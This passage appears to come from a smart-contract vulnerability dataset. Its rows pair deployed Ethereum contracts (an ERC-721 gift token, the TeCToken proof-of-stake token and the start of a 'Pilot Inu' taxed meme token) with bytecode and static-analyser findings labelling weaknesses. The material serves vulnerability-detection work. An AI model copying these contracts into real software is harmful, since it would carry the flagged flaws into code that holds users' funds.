15261363d81613139565b9050919050565b6000602082019050818103600083015261365d8161315c565b9050919050565b6000602082019050818103600083015261367d8161317f565b9050919050565b6000602082019050818103600083015261369d816131a2565b9050919050565b600060208201905081810360008301526136bd816131c5565b9050919050565b600060208201905081810360008301526136dd816131e8565b9050919050565b600060208201905081810360008301526136fd8161320b565b9050919050565b6000602082019050818103600083015261371d8161322e565b9050919050565b6000602082019050818103600083015261373d81613251565b9050919050565b6000602082019050818103600083015261375d816132ba565b9050919050565b6000602082019050818103600083015261377d816132dd565b9050919050565b6000602082019050818103600083015261379d81613300565b9050919050565b600060208201905081810360008301526137bd81613323565b9050919050565b600060208201905081810360008301526137dd81613369565b9050919050565b600060208201905081810360008301526137fd8161338c565b9050919050565b6000602082019050818103600083015261381d81613418565b9050919050565b6000602082019050613839600083018461343b565b92915050565b6000606082019050613854600083018661343b565b6138616020830185612fb3565b61386e6040830184612fb3565b949350505050565b6000613880613891565b905061388c8282613b52565b919050565b6000604051905090565b600067ffffffffffffffff8211156138b6576138b5613cb9565b5b6138bf82613cfc565b9050602081019050919050565b600067ffffffffffffffff8211156138e7576138e6613cb9565b5b6138f082613cfc565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600061396082613ad4565b915061396b83613ad4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156139a05761399f613bfd565b5b828201905092915050565b60006139b682613ad4565b91506139c183613ad4565b9250826139d1576139d0613c2c565b5b828204905092915050565b60006139e782613ad4565b91506139f283613ad4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613a2b57613a2a613bfd565b5b828202905092915050565b6000613a4182613ad4565b9150613a4c83613ad4565b925082821015613a5f57613a5e613bfd565b5b828203905092915050565b6000613a7582613ab4565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b83811015613b0b578082015181840152602081019050613af0565b83811115613b1a576000848401525b50505050565b60006002820490506001821680613b3857607f821691505b60208210811415613b4c57613b4b613c5b565b5b50919050565b613b5b82613cfc565b810181811067ffffffffffffffff82111715613b7a57613b79613cb9565b5b80604052505050565b6000613b8e82613ad4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613bc157613bc0613bfd565b5b600182019050919050565b6000613bd782613ad4565b9150613be283613ad4565b925082613bf257613bf1613c2c565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f63757272656e74206f776e6572206d757374207365742063616c6c657220617360008201527f206e657874206f776e65722e0000000000000000000000000000000000000000602082015250565b7f5468697320746f6b656e20697320736f6c64206f757400000000000000000000600082015250565b7f4e657874206f776e657220697320746865207a65726f20616464726573732e00600082015250565b7f63616c6c6572206973206e6f7420746865206f776e65722e0000000000000000600082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f636f6e7472616374000000000000000000000000000000000000000000000000600082015250565b7f227d000000000000000000000000000000000000000000000000000000000000600082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f726573732028757365206275726e20696e737465616429000000000000000000602082015250565b7f22696d616765223a202200000000000000000000000000000000000000000000600082015250565b7f7b226e616d65223a202243686164656175204368726973746d6173204769667460008201527f2023000000000000000000000000000000000000000000000000000000000000602082015250565b7f222c226465736372697074696f6e223a202246726f6d3a2053616e74612c205460008201527f6f3a20596f75222c000000000000000000000000000000000000000000000000602082015250565b7f496e73756666696369656e742066756e64732073656e74000000000000000000600082015250565b6142dc81613a6a565b81146142e757600080fd5b50565b6142f381613a7c565b81146142fe57600080fd5b50565b61430a81613a88565b811461431557600080fd5b50565b61432181613ad4565b811461432c57600080fd5b5056fe4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa2646970667358221220c5260eacf26e52a96c8cb17cc115c8be7a951ba05582478321c258c3d2b63be864736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 9,835 |
0x1159b63ce3bbf073217cbed51c0b11b0aa227f2e | pragma solidity ^0.4.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title TeCTokenStandard
* @dev the interface of TeCTokenStandard
*/
contract TeCTokenStandard {
uint256 public stakeStartTime;
uint256 public stakeMinAge;
uint256 public stakeMaxAge;
function mint() returns (bool);
function coinAge() constant returns (uint256);
function annualInterest() constant returns (uint256);
event Mint(address indexed _address, uint _reward);
}
contract TeCToken is ERC20,TeCTokenStandard,Ownable {
using SafeMath for uint256;
string public name = "TeCToken";
string public symbol = "TEC";
uint public decimals = 18;
uint public chainStartTime; //chain start time
uint public chainStartBlockNumber; //chain start block number
uint public stakeStartTime; //stake start time
uint public stakeMinAge = 3 days; // minimum age for coin age: 3D
uint public stakeMaxAge = 90 days; // stake age of full weight: 90D
uint public maxMintProofOfStake = 10**17; // default 10% annual interest
uint public totalSupply;
uint public maxTotalSupply;
uint public totalInitialSupply;
struct transferInStruct{
uint128 amount;
uint64 time;
}
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
mapping(address => transferInStruct[]) transferIns;
event Burn(address indexed burner, uint256 value);
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
modifier canTeCMint() {
require(totalSupply < maxTotalSupply);
_;
}
function TeCToken() {
maxTotalSupply = 10**25; // 10 Mil.
totalInitialSupply = 10**24; // 1 Mil.
chainStartTime = now;
chainStartBlockNumber = block.number;
balances[msg.sender] = totalInitialSupply;
totalSupply = totalInitialSupply;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool) {
if(msg.sender == _to) return mint();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
if(transferIns[_from].length > 0) delete transferIns[_from];
uint64 _now = uint64(now);
transferIns[_from].push(transferInStruct(uint128(balances[_from]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function mint() canTeCMint returns (bool) {
if(balances[msg.sender] <= 0) return false;
if(transferIns[msg.sender].length <= 0) return false;
uint reward = getProofOfStakeReward(msg.sender);
if(reward <= 0) return false;
totalSupply = totalSupply.add(reward);
balances[msg.sender] = balances[msg.sender].add(reward);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
Mint(msg.sender, reward);
return true;
}
function getBlockNumber() returns (uint blockNumber) {
blockNumber = block.number.sub(chainStartBlockNumber);
}
function coinAge() constant returns (uint myCoinAge) {
myCoinAge = getCoinAge(msg.sender,now);
}
function annualInterest() constant returns(uint interest) {
uint _now = now;
interest = maxMintProofOfStake;
if((_now.sub(stakeStartTime)).div(1 years) == 0) {
interest = (770 * maxMintProofOfStake).div(100);
} else if((_now.sub(stakeStartTime)).div(1 years) == 1){
interest = (435 * maxMintProofOfStake).div(100);
}
}
function getProofOfStakeReward(address _address) internal returns (uint) {
require( (now >= stakeStartTime) && (stakeStartTime > 0) );
uint _now = now;
uint _coinAge = getCoinAge(_address, _now);
if(_coinAge <= 0) return 0;
uint interest = maxMintProofOfStake;
// Due to the high interest rate for the first two years, compounding should be taken into account.
// Effective annual interest rate = (1 + (nominal rate / number of compounding periods)) ^ (number of compounding periods) - 1
if((_now.sub(stakeStartTime)).div(1 years) == 0) {
// 1st year effective annual interest rate is 100% when we select the stakeMaxAge (90 days) as the compounding period.
interest = (770 * maxMintProofOfStake).div(100);
} else if((_now.sub(stakeStartTime)).div(1 years) == 1){
// 2nd year effective annual interest rate is 50%
interest = (435 * maxMintProofOfStake).div(100);
}
return (_coinAge * interest).div(365 * (10**decimals));
}
function getCoinAge(address _address, uint _now) internal returns (uint _coinAge) {
if(transferIns[_address].length <= 0) return 0;
for (uint i = 0; i < transferIns[_address].length; i++){
if( _now < uint(transferIns[_address][i].time).add(stakeMinAge) ) continue;
uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time));
if( nCoinSeconds > stakeMaxAge ) nCoinSeconds = stakeMaxAge;
_coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days));
}
}
function ownerSetStakeStartTime(uint timestamp) onlyOwner {
require((stakeStartTime <= 0) && (timestamp >= chainStartTime));
stakeStartTime = timestamp;
}
function ownerBurnToken(uint _value) onlyOwner {
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
totalSupply = totalSupply.sub(_value);
totalInitialSupply = totalInitialSupply.sub(_value);
maxTotalSupply = maxTotalSupply.sub(_value*10);
Burn(msg.sender, _value);
}
/* Batch token transfer. Used by contract creator to distribute initial tokens to holders */
function batchTransfer(address[] _recipients, uint[] _values) onlyOwner returns (bool) {
require( _recipients.length > 0 && _recipients.length == _values.length);
uint total = 0;
for(uint i = 0; i < _values.length; i++){
total = total.add(_values[i]);
}
require(total <= balances[msg.sender]);
uint64 _now = uint64(now);
for(uint j = 0; j < _recipients.length; j++){
balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]);
transferIns[_recipients[j]].push(transferInStruct(uint128(_values[j]),_now));
Transfer(msg.sender, _recipients[j], _values[j]);
}
balances[msg.sender] = balances[msg.sender].sub(total);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
if(balances[msg.sender] > 0) transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
return true;
}
} | 0x606060405236156101515763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610156578063095ea7b3146101e15780631249c58b1461021757806318160ddd1461023e5780631e1b13c01461026357806323b872dd146102885780632a9edf6f146102c45780632ab4d052146102dc578063313ce5671461030157806342cbb15c146103265780635b054f9b1461034b57806370a08231146103705780637419f190146103a157806388d695b2146103c65780638da5cb5b1461046957806390762a8b1461049857806395d89b41146104b05780639fd4da401461053b578063a9059cbb14610560578063b2552fc414610596578063cbd8877e146105bb578063cd474b04146105e0578063dd62ed3e14610605578063e1c3bac61461063c578063f2bb5ce114610661578063f2fde38b14610686575b600080fd5b341561016157600080fd5b6101696106a7565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a65780820151818401525b60200161018d565b50505050905090810190601f1680156101d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ec57600080fd5b610203600160a060020a0360043516602435610745565b604051901515815260200160405180910390f35b341561022257600080fd5b6102036107ec565b604051901515815260200160405180910390f35b341561024957600080fd5b6102516109e7565b60405190815260200160405180910390f35b341561026e57600080fd5b6102516109ed565b60405190815260200160405180910390f35b341561029357600080fd5b610203600160a060020a03600435811690602435166044356109ff565b604051901515815260200160405180910390f35b34156102cf57600080fd5b6102da600435610cf9565b005b34156102e757600080fd5b610251610d3e565b60405190815260200160405180910390f35b341561030c57600080fd5b610251610d44565b60405190815260200160405180910390f35b341561033157600080fd5b610251610d4a565b60405190815260200160405180910390f35b341561035657600080fd5b610251610d67565b60405190815260200160405180910390f35b341561037b57600080fd5b610251600160a060020a0360043516610d6d565b60405190815260200160405180910390f35b34156103ac57600080fd5b610251610d8c565b60405190815260200160405180910390f35b34156103d157600080fd5b610203600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610d9295505050505050565b604051901515815260200160405180910390f35b341561047457600080fd5b61047c6111b0565b604051600160a060020a03909116815260200160405180910390f35b34156104a357600080fd5b6102da6004356111bf565b005b34156104bb57600080fd5b61016961138d565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a65780820151818401525b60200161018d565b50505050905090810190601f1680156101d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561054657600080fd5b61025161142b565b60405190815260200160405180910390f35b341561056b57600080fd5b610203600160a060020a0360043516602435611431565b604051901515815260200160405180910390f35b34156105a157600080fd5b6102516116e9565b60405190815260200160405180910390f35b34156105c657600080fd5b61025161178f565b60405190815260200160405180910390f35b34156105eb57600080fd5b610251611795565b60405190815260200160405180910390f35b341561061057600080fd5b610251600160a060020a036004358116906024351661179b565b60405190815260200160405180910390f35b341561064757600080fd5b6102516117c8565b60405190815260200160405180910390f35b341561066c57600080fd5b6102516117ce565b60405190815260200160405180910390f35b341561069157600080fd5b6102da600160a060020a03600435166117d4565b005b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073d5780601f106107125761010080835404028352916020019161073d565b820191906000526020600020905b81548152906001019060200180831161072057829003601f168201915b505050505081565b60008115806107775750600160a060020a03338116600090815260126020908152604080832093871683529290522054155b151561078257600080fd5b600160a060020a03338116600081815260126020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b600080600f54600e5410151561080157600080fd5b600160a060020a0333166000908152601160205260408120541161082857600091506109e2565b600160a060020a0333166000908152601360205260408120541161084f57600091506109e2565b61085833611831565b90506000811161086b57600091506109e2565b600e5461087e908263ffffffff61193f16565b600e55600160a060020a0333166000908152601160205260409020546108aa908263ffffffff61193f16565b600160a060020a033316600090815260116020908152604080832093909355601390529081206108d991611b1a565b600160a060020a03331660009081526013602052604090208054600181016109018382611b3c565b916000526020600020900160005b604080519081016040908152600160a060020a033316600090815260116020908152919020546001608060020a0316825267ffffffffffffffff421690820152919050815181546001608060020a0319166001608060020a03919091161781556020820151815467ffffffffffffffff91909116608060020a02600080516020611ba38339815191529091161790555050600160a060020a0333167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968858260405190815260200160405180910390a2600191505b5b5090565b600e5481565b60006109f93342611959565b90505b90565b6000808060606064361015610a1357600080fd5b600160a060020a0386161515610a2857600080fd5b600160a060020a03808816600081815260126020908152604080832033909516835293815283822054928252601190529190912054909350610a70908663ffffffff611ae716565b600160a060020a038089166000908152601160205260408082209390935590881681522054610aa5908663ffffffff61193f16565b600160a060020a038716600090815260116020526040902055610ace838663ffffffff611ae716565b600160a060020a03808916600081815260126020908152604080832033861684529091529081902093909355908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9088905190815260200160405180910390a3600160a060020a0387166000908152601360205260408120541115610b7157600160a060020a0387166000908152601360205260408120610b7191611b1a565b5b600160a060020a0387166000908152601360205260409020805442935060018101610b9d8382611b3c565b916000526020600020900160005b604080519081016040908152600160a060020a038c16600090815260116020908152919020546001608060020a0316825267ffffffffffffffff871690820152919050815181546001608060020a0319166001608060020a03919091161781556020820151815467ffffffffffffffff91909116608060020a02600080516020611ba38339815191529091161790555050600160a060020a0386166000908152601360205260409020805460018101610c648382611b3c565b916000526020600020900160005b604080519081016040526001608060020a038916815267ffffffffffffffff86166020820152919050815181546001608060020a0319166001608060020a03919091161781556020820151815467ffffffffffffffff91909116608060020a02600080516020611ba38339815191529091161790555060019450505b5b5050509392505050565b60045433600160a060020a03908116911614610d1457600080fd5b6000600a5411158015610d2957506008548110155b1515610d3457600080fd5b600a8190555b5b50565b600f5481565b60075481565b60006109f960095443611ae790919063ffffffff16565b90505b90565b60085481565b600160a060020a0381166000908152601160205260409020545b919050565b600a5481565b600454600090819081908190819033600160a060020a03908116911614610db857600080fd5b60008751118015610dca575085518751145b1515610dd557600080fd5b60009350600092505b8551831015610e1b57610e0d868481518110610df657fe5b90602001906020020151859063ffffffff61193f16565b93505b600190920191610dde565b600160a060020a033316600090815260116020526040902054841115610e4057600080fd5b5042905060005b865181101561104157610ea9868281518110610e5f57fe5b90602001906020020151601160008a8581518110610e7957fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff61193f16565b60116000898481518110610eb957fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000208190555060136000888381518110610ef757fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460018101610f2a8382611b3c565b916000526020600020900160005b60408051908101604052808a8681518110610f4f57fe5b906020019060200201516001608060020a0316815267ffffffffffffffff8716602090910152919050815181546001608060020a0319166001608060020a03919091161781556020820151815467ffffffffffffffff91909116608060020a02600080516020611ba3833981519152909116179055508790508181518110610fd357fe5b90602001906020020151600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef88848151811061101d57fe5b9060200190602002015160405190815260200160405180910390a35b600101610e47565b600160a060020a03331660009081526011602052604090205461106a908563ffffffff611ae716565b600160a060020a033316600090815260116020908152604080832093909355601390529081205411156110b857600160a060020a03331660009081526013602052604081206110b891611b1a565b5b600160a060020a03331660009081526011602052604081205411156111a057600160a060020a03331660009081526013602052604090208054600181016111008382611b3c565b916000526020600020900160005b604080519081016040908152600160a060020a033316600090815260116020908152919020546001608060020a0316825267ffffffffffffffff871690820152919050815181546001608060020a0319166001608060020a03919091161781556020820151815467ffffffffffffffff91909116608060020a02600080516020611ba383398151915290911617905550505b600194505b5b5050505092915050565b600454600160a060020a031681565b60045433600160a060020a039081169116146111da57600080fd5b600081116111e757600080fd5b600160a060020a033316600090815260116020526040902054611210908263ffffffff611ae716565b600160a060020a0333166000908152601160209081526040808320939093556013905290812061123f91611b1a565b600160a060020a03331660009081526013602052604090208054600181016112678382611b3c565b916000526020600020900160005b604080519081016040908152600160a060020a033316600090815260116020908152919020546001608060020a0316825267ffffffffffffffff421690820152919050815181546001608060020a0319166001608060020a03919091161781556020820151815467ffffffffffffffff91909116608060020a02600080516020611ba38339815191529091161790555050600e54611319908263ffffffff611ae716565b600e5560105461132f908263ffffffff611ae716565b601055600f5461134890600a830263ffffffff611ae716565b600f55600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25b5b50565b60068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073d5780601f106107125761010080835404028352916020019161073d565b820191906000526020600020905b81548152906001019060200180831161072057829003601f168201915b505050505081565b60105481565b6000806040604436101561144457600080fd5b84600160a060020a031633600160a060020a0316141561146d576114666107ec565b92506116e0565b600160a060020a033316600090815260116020526040902054611496908563ffffffff611ae716565b600160a060020a0333811660009081526011602052604080822093909355908716815220546114cb908563ffffffff61193f16565b600160a060020a0380871660008181526011602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9087905190815260200160405180910390a3600160a060020a033316600090815260136020526040812054111561156357600160a060020a033316600090815260136020526040812061156391611b1a565b5b600160a060020a033316600090815260136020526040902080544293506001810161158f8382611b3c565b916000526020600020900160005b604080519081016040908152600160a060020a033316600090815260116020908152919020546001608060020a0316825267ffffffffffffffff871690820152919050815181546001608060020a0319166001608060020a03919091161781556020820151815467ffffffffffffffff91909116608060020a02600080516020611ba38339815191529091161790555050600160a060020a03851660009081526013602052604090208054600181016116568382611b3c565b916000526020600020900160005b604080519081016040526001608060020a038816815267ffffffffffffffff86166020820152919050815181546001608060020a0319166001608060020a03919091161781556020820151815467ffffffffffffffff91909116608060020a02600080516020611ba38339815191529091161790555060019350505b5b505092915050565b600d54600a544290611718906301e133809061170c90849063ffffffff611ae716565b9063ffffffff611afe16565b151561173d57600d546117369061030202606463ffffffff611afe16565b91506109e2565b6117666301e1338061170c600a5484611ae790919063ffffffff16565b9063ffffffff611afe16565b600114156109e257600d54611786906101b302606463ffffffff611afe16565b91505b5b5b5090565b600b5481565b60095481565b600160a060020a038083166000908152601260209081526040808320938516835292905220545b92915050565b600c5481565b600d5481565b60045433600160a060020a039081169116146117ef57600080fd5b600160a060020a038116151561180457600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600080600080600a54421015801561184b57506000600a54115b151561185657600080fd5b4292506118638584611959565b9150600082116118765760009350611937565b600d5490506118a46301e1338061170c600a5486611ae790919063ffffffff16565b9063ffffffff611afe16565b15156118c957600d546118c29061030202606463ffffffff611afe16565b9050611915565b6118f26301e1338061170c600a5486611ae790919063ffffffff16565b9063ffffffff611afe16565b6001141561191557600d54611912906101b302606463ffffffff611afe16565b90505b5b611934600754600a0a61016d02828402611afe90919063ffffffff16565b93505b505050919050565b60008282018381101561194e57fe5b8091505b5092915050565b600160a060020a0382166000908152601360205260408120548190819081901161198657600092506116e0565b600091505b600160a060020a0385166000908152601360205260409020548210156116e057600b54600160a060020a038616600090815260136020526040902080546119ff929190859081106119d857fe5b906000526020600020900160005b5054608060020a900467ffffffffffffffff169061193f565b841015611a0b57611ad3565b600160a060020a03851660009081526013602052604090208054611a5c919084908110611a3457fe5b906000526020600020900160005b50548590608060020a900467ffffffffffffffff16611ae7565b9050600c54811115611a6d5750600c545b611ad0611a83826201518063ffffffff611afe16565b600160a060020a0387166000908152601360205260409020805485908110611aa757fe5b906000526020600020900160005b505485916001608060020a039091160263ffffffff61193f16565b92505b60019091019061198b565b5b505092915050565b600082821115611af357fe5b508082035b92915050565b6000808284811515611b0c57fe5b0490508091505b5092915050565b5080546000825590600052602060002090810190610d3a9190611b66565b5b50565b815481835581811511611b6057600083815260209020611b60918101908301611b66565b5b505050565b6109fc91905b808211156109e257805477ffffffffffffffffffffffffffffffffffffffffffffffff19168155600101611b6c565b5090565b905600ffffffffffffffff0000000000000000ffffffffffffffffffffffffffffffffa165627a7a72305820e42e057a2474e6e034cec08490fc61f47818e32e2c28834f29cb7972d3a1de0e0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 9,836 |
0xb1d86Eb33c72e78667A821baE045858E3591C6b4 | // SPDX-License-Identifier: MIT
/**
PILOT - Pilot Inu
TG https://t.me/pilotinu
Max Tx 15,000 (1%)
Total 1,500,000
Tax 9%
Slippage 40%
**/
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PilotInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Pilot Inu";
string private constant _symbol = "PILOT";
uint8 private constant _decimals = 8;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
